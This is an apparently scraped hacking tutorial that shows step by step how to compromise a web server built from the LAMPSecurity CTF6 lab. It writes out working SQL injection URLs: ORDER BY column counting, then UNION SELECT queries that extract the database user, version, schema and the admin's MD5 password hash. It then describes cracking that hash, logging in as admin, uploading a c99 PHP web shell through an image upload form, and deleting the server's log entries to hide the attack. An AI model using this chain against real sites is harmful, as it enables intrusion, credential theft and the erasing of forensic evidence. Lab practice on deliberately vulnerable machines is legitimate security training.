Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: Hackerlaxu1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tvnMKs0i4TrDUZVR7t1U2p4s0pv8Wx1ZLa-ata9pGRQnro4DOLtJrPPwYaB1DOZNxl-uw-SENgbmWGhU44XeNadE3-N8dRXTMdkno6XwdzKsjwsu7yIzQjP_Jgv0hX0b9d4pSfVhNP3bgIDfCo81W5C9INEFXsNXGFfvjlj_QW-_EF=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: Hackerlaxu2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s_VRdmqLfcz4kxQ55EVKX_7_pUbPkm0r7qNqnkRAGgVLoyTBlN51LrTDwLFe5MEjwGg70LUpl0PTDYbfXP3DO1uOOmuga27K6axdLo1FlK2BheNVQF2hj2PjmMbcZ4tGM_VjaHpnB-Z93SLdrt8CTZzVxETCSWWOsHmNRpaSvrDPqqAw=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: Hackerlaxu3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_smGGtv2EWHwYYbg37Yl-wuWstcS7eFKmWScsbqft61Uz005df5eZaJdksOaeGanKB5UL7xGW-deNzLoOjDpy6Kq9O8oq4GFbDOKs5LFw6Mc-XdilMbk9uHCE8vj71a7-ld1s0IBPUXB9yU2sv-TqKq1rIoA1cTKWVWeW1rqL15hHXJ2w=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: Hackerlaxu4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ueSZ35pfKN8lSo29PB3S8p0XtMbnzj_KR4roY0jef5lGY5VPSbG1bG4w4iG8f5UhSQpWXRBWTWZSzi_iN8MUpY88pbIF-TKTtr4O_zYOp06Hkv9M0rTMHFGduidVyILYkmaC8PtEQ7MquXtcDZ4eDBt_pTL-J6MW2GFBq1wYY4IzJ7hA=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: Hackerlaxu6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vrZvYrdzpuBJE5fIucmfcEqT9dfHSb17aMMzaJiTsPMHN67MrxxNa3Srl2j1ZAjWTe0-O5l0aUpFXiv1hh3LCOxqi71kDHjeUxBFIPxzAKR_i8W_STo7EmjnExGX3AZMbq-eX9zelcXjOruWY6jQKDQW2X1FP0EvV8seW4ttCl2DEr_Q=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: Hackerlaxu7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uGKSqccJ0qC2PRStQpTlqcxUY0O85tCEe1OG3tcGMycpiUOMKFuE8N8fmSbwlhEvuK7v-L9w5JQyIJdwa60T1KNaFtEbeoxblwXDLpOIGxpXsu_cMcBfRJPvrdLNJYB-WzRIEJIpWfK_krUFAxl6CMrQTAM3Rur8Jz1Iq4CJ8cCg6i=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: Hackerlaxu12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tmssliywubC94b7T_KmEIDlxDKdiEQ8G-SiiqxyBhbprurfnjNwD60M5pF8FHd-7wjNfRvjuWueJ3PYZne9lsu9yeSV7ljSVgul8hKokqX0HXmRCGA5AeYyzacbFaTm7ZCvq5TcrmSGn6ZjK6qzqb_6y0ib0UXJyo5vrOvX2MGMCjHkRU=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: Hackerlaxu13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vZdiuVXBBbCFpYJVvVDEDtD8cUtO5-scJjJq-r8dRV1UjWuKx2jGqI39V_ZSNO-BM3XyAtH-nX5Qv39UxghKT6LBZafdLDwRuNI4ru6ddTffctybUEFCUKx7A21XdRaMsECdgcentDz3bT6E71Ghm1--r9s7BbWC567YUcIBP1Et6ZWKc=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: Hackerlaxu14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vne6oZy5Dx4s_vhveBxr9oDaJFHrdRHsi2d3RUqKkaW87YPC2x_4QQ9iMwi5gG4m28MrEwCnak6mrjCdvzB_uAVZtGqfas-E-ZSeGHpkg4tLr3vOuhu4fk-lhrEj4vHzl-lhQmzhqLGCt_l0RMn61q6Kagk-o8XmjnjUtD6MhK6UpYoEI=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: Hackerlaxu16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vOmzOHZIpaljql7RjOR7cQvIqNIeitXIL2cdLQXI7cF5KV1U1SAmJLwk5oJ06Rpqj7tTHxf_8TR_618PfbTkBYFQ6XXz-Q8gLQxkg8qeqyPq8eQHoVVXcZBI6feoAql8A0imX6fPX8-31QrAaVKt2PZLeHcNS3WUPJOFTdRREfsc8nQSo=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: Hackerlaxu19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tTyuwvffIhQjKaYQ52VLi6l_xaHlXteFfXZVrCYEZlo3IfixGbLECODc3Xk5ND05l7DB9S7Mve14WSDcwoVJu2_eAArGfFkCx_1tZm9xp5WCCnfUmxGb_z500-shPVR42NrS2Dce5OSPjol1hdWDK5Xk9vUEAemcS3RW-0dvJlSNrbyA=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: Hackerlaxu21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vV6CO_XxkBQCr8IXgKugV9AEvr-EeKr2jLxOiKQOCqRDjYvYMfxSodtmP2p6IjtXgCMdoG9ffkQHGZpe64RaToC7RdlCgH1_gIJbEjPmPUgP3prL3YL2OVjSg1bPV_aQ7TpUzgVOK1UgsgyVbJEcVOzK12JsuV2ETJUP5_LL5b-EpgZAg=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: Hackerlaxu22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tX_wRcwHcVQwJDz-RTk7wmIX0NkHTfIw9WWLxrzmoNs5XS9Vh-0mHIgDKlN-x6jBxYjeXQwkSQ7g88slsqFFA6JgJGuqNXw8TWad9CCdk9z1EU5GaiyCj6eKfMjqKUggvgjW_jJbgv5iP2QkaWyYTTaO4ALZHgabCF4mE0vSp2-3l7iGY=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: Hackerlaxu23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vsUXK6ICwLaxtJ3v1drVIpmeoZldBBwfWqDjRkYiZKuVu9Zfe0PS_b_flpjoVy4-Em8yskdtEG5zLZnmaX0uQMnhiIU3H_jNxK8w5rkXC1AHmTBwVM67pz8XPBkcxo-4ZS5I6xCuvGs1HHNJ5m7uG2UXHQtHobdrcr70eFxcWpNrZDBw=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: Hackerlaxu24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vVRB5FP--BIABFi-dzBJ-k03ifqcimiw-IR8kM2iGV8eoqonUrj0ty1FwdkRINSWg6eHLtKHrlAsd1ALY_HhMygb6IHjgeYWsO8wL6rPLWZjDLi9BSiLiLn8wnIEfFbyVcx_XMgtGRwmFxGJVc5GMMjtimE52wkgMhdwlytVMyBwztzw=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: Hackerlaxu25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vqtoaoqXhSqDQJjGxrt0AAuFoaJWtNACeRp83OEq83gP0CUsWTMNcpezsVv5-YNJLtOTKFZN6VqjKHB4XlK3Lyx3lvukPoGJIUZDO1nUNNnAX3oEvvlLUp5E1x-OOXmyB-v-KH2S8188NkBRR0djXKqi2uE8N40QpSMnyWIMftaASFPBk=s0-d)
Step 17:
Lets find the user name
![[Image: Hackerlaxu27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_segEyVkJsiL3R1blgsauGtVHldWsS9SWWnCuZrpMZFGbKvw4F8lN98al3gXf9HEfyR4YJ9a6ooVakm6qmH-OG9gAd_sEuRnLeZNtmhGTTFzN5KLYX-MiYKm2mr3EoCREM6Nl3azCz3c39NaBORBrdcPy02UG0x3ZkKn-3UPbnkXtMHxqg=s0-d)
Step 18:
Now, what about password
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
Code:
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
Code:
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
Code:
http://192.168.132.128/?id=13'
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
Code:
http://192.168.132.128/?id=13 order by 1
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
Code:
http://192.168.132.128/?id=13 order by 7
Step 7:
I went up to 7 and no change till now
Code:
http://192.168.132.128/?id=13 order by 7
Step 8:
I'm on 8 now and I can see the page changed
Code:
http://192.168.132.128/?id=13 order by 8
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,7
5.0.45 is the version
Step 14:
Let me list all the tables
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tables
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns
Step 16:
I want columns from the table "user" and nothing else
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'
Step 17:
Lets find the user name
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from user
Step 18:
Now, what about password
Code:
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from user
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
Reference:
1. Infond tutorial
Happy Hacking.!!!
======================================================================
Note: This tutorial is only for
Educational Purposes, I did not take any responsibility of any misuse,
you will be solely responsible for any misuse that you do. Scanning
Server & Web Hacking is criminal activity and is punishable under
cyber crime and you may get upto 40 years of imprisonment, if got
caught in doing so.